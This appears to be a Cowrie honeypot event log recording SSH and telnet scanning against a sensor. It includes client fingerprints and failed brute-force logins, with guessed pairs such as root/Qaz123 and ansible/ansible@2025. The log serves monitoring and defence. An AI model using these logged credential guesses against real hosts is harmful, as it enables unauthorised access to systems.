{"eventid":"cowrie.session.closed","duration":0.005296945571899414,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:41.812991Z","src_ip":"35.195.32.145","session":"1bfec1388594","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19496,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa3014363ae4","protocol":"telnet","message":"New connection: 35.195.32.145:19496 (159.203.135.109:23) [session: fa3014363ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:41.964213Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.195.32.145","src_port":19506,"dst_ip":"159.203.135.109","dst_port":23,"session":"fbb7fcb0ea57","protocol":"telnet","message":"New connection: 35.195.32.145:19506 (159.203.135.109:23) [session: fbb7fcb0ea57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:42.117949Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8637","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8637] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:42.123741Z","src_ip":"35.195.32.145","session":"fbb7fcb0ea57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.57052564620972,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:45.041381Z","src_ip":"139.162.207.207","session":"a4a71aaca754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.186196327209473,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.090236Z","src_ip":"35.195.32.145","session":"8d37a2942754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.03330945968628,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.095587Z","src_ip":"35.195.32.145","session":"fb61c3df4678","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.351540803909302,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.099121Z","src_ip":"35.195.32.145","session":"94fb9930fd81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.509398937225342,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.102407Z","src_ip":"35.195.32.145","session":"e4ef12146551","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":15.668851137161255,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.106706Z","src_ip":"35.195.32.145","session":"95a625fff74e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.016901731491089,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.134720Z","src_ip":"35.195.32.145","session":"fbb7fcb0ea57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.176145792007446,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.140036Z","src_ip":"35.195.32.145","session":"fa3014363ae4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.649996042251587,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.145106Z","src_ip":"35.195.32.145","session":"43a65191f507","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.4974260330200195,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.148713Z","src_ip":"35.195.32.145","session":"d94d06f4e3bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.81142258644104,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.151855Z","src_ip":"35.195.32.145","session":"c9c1dcdaa595","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.969274997711182,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.155520Z","src_ip":"35.195.32.145","session":"f5d18207bb8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.131702423095703,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.161078Z","src_ip":"35.195.32.145","session":"5a3d112da314","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.296098232269287,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.164835Z","src_ip":"35.195.32.145","session":"79a68519654d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.4548921585083,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.168315Z","src_ip":"35.195.32.145","session":"00c8326d5d0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.612843751907349,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.171677Z","src_ip":"35.195.32.145","session":"3b3e7f0cd77a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.77016544342041,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.174908Z","src_ip":"35.195.32.145","session":"85b07bb3efcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.928059577941895,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.178164Z","src_ip":"35.195.32.145","session":"06123a9f71d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.086730003356934,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.181412Z","src_ip":"35.195.32.145","session":"68966d140253","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.257596015930176,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.195251Z","src_ip":"35.195.32.145","session":"86106eacde1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.41670536994934,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.198996Z","src_ip":"35.195.32.145","session":"d659349fb055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.577246904373169,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.202678Z","src_ip":"35.195.32.145","session":"e16f0aedd358","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.894864082336426,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.206281Z","src_ip":"35.195.32.145","session":"86ddf75210cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.33561658859253,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.209702Z","src_ip":"35.195.32.145","session":"2735187da8e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":25.252980947494507,"message":"Connection lost after 25 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.213519Z","src_ip":"35.195.32.145","session":"6cbeeea7c5f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.13892388343811,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.216816Z","src_ip":"35.195.32.145","session":"5bebfdf5c225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":10.501354217529297,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:49.220996Z","src_ip":"35.195.32.145","session":"3b5b01a548e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.088447093963623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:55.806271Z","src_ip":"45.23.218.218","session":"f324cc73b408","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.609718799591064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:10:58.068910Z","src_ip":"2.58.196.8","session":"6a536fed14b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59140,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2258ae6a369","protocol":"ssh","message":"New connection: 159.203.92.129:59140 (159.203.135.109:22) [session: a2258ae6a369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:11.392030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:11.396811Z","src_ip":"159.203.92.129","session":"a2258ae6a369","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:11.406065Z","src_ip":"159.203.92.129","session":"a2258ae6a369","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@2024","message":"login attempt [ansible/ansible@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:11.424428Z","src_ip":"159.203.92.129","session":"a2258ae6a369","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:12.430966Z","src_ip":"159.203.92.129","session":"a2258ae6a369","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":49590,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b07b96cadf5","protocol":"ssh","message":"New connection: 37.143.61.130:49590 (159.203.135.109:22) [session: 4b07b96cadf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:18.920299Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:19.593934Z","src_ip":"37.143.61.130","session":"4b07b96cadf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:20.390412Z","src_ip":"37.143.61.130","session":"4b07b96cadf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qaz123","message":"login attempt [root/Qaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:25.795382Z","src_ip":"37.143.61.130","session":"4b07b96cadf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.1","message":"Connection lost after 9.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:28.000603Z","src_ip":"37.143.61.130","session":"4b07b96cadf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":41814,"dst_ip":"10.17.0.5","dst_port":22,"session":"326446fe1eba","protocol":"ssh","message":"New connection: 80.94.92.182:41814 (10.17.0.5:22) [session: 326446fe1eba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:31.372507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:31.461431Z","src_ip":"80.94.92.182","session":"326446fe1eba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:31.568538Z","src_ip":"80.94.92.182","session":"326446fe1eba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fuckoff","message":"login attempt [root/fuckoff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:32.105511Z","src_ip":"80.94.92.182","session":"326446fe1eba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:33.319818Z","src_ip":"80.94.92.182","session":"326446fe1eba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":53058,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d4f1da1189c","protocol":"ssh","message":"New connection: 159.203.92.129:53058 (159.203.135.109:22) [session: 0d4f1da1189c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:52.332984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:52.337666Z","src_ip":"159.203.92.129","session":"0d4f1da1189c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:52.341881Z","src_ip":"159.203.92.129","session":"0d4f1da1189c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible@2025","message":"login attempt [ansible/ansible@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:52.352602Z","src_ip":"159.203.92.129","session":"0d4f1da1189c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:53.359288Z","src_ip":"159.203.92.129","session":"0d4f1da1189c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00435495376587,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:57.696921Z","src_ip":"45.181.100.135","session":"453e0a39e11d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":43933,"dst_ip":"159.203.135.109","dst_port":23,"session":"80b04bb73217","protocol":"telnet","message":"New connection: 45.181.100.135:43933 (159.203.135.109:23) [session: 80b04bb73217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:11:59.085363Z"}
{"eventid":"cowrie.session.connect","src_ip":"3.143.162.210","src_port":55166,"dst_ip":"10.17.0.5","dst_port":22,"session":"b786c9bc190f","protocol":"ssh","message":"New connection: 3.143.162.210:55166 (10.17.0.5:22) [session: b786c9bc190f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:12:16.101076Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.133.209","src_port":25218,"dst_ip":"10.17.0.5","dst_port":23,"session":"7639ab2d1285","protocol":"telnet","message":"New connection: 89.43.133.209:25218 (10.17.0.5:23) [session: 7639ab2d1285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:12:16.426864Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:12:17.155470Z","src_ip":"3.143.162.210","session":"b786c9bc190f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:12:17.160318Z","src_ip":"3.143.162.210","session":"b786c9bc190f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56792,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba4c14da9175","protocol":"ssh","message":"New connection: 159.203.92.129:56792 (159.203.135.109:22) [session: ba4c14da9175]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:12:35.621697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:12:35.625736Z","src_ip":"159.203.92.129","session":"ba4c14da9175","protocol":"ssh"}
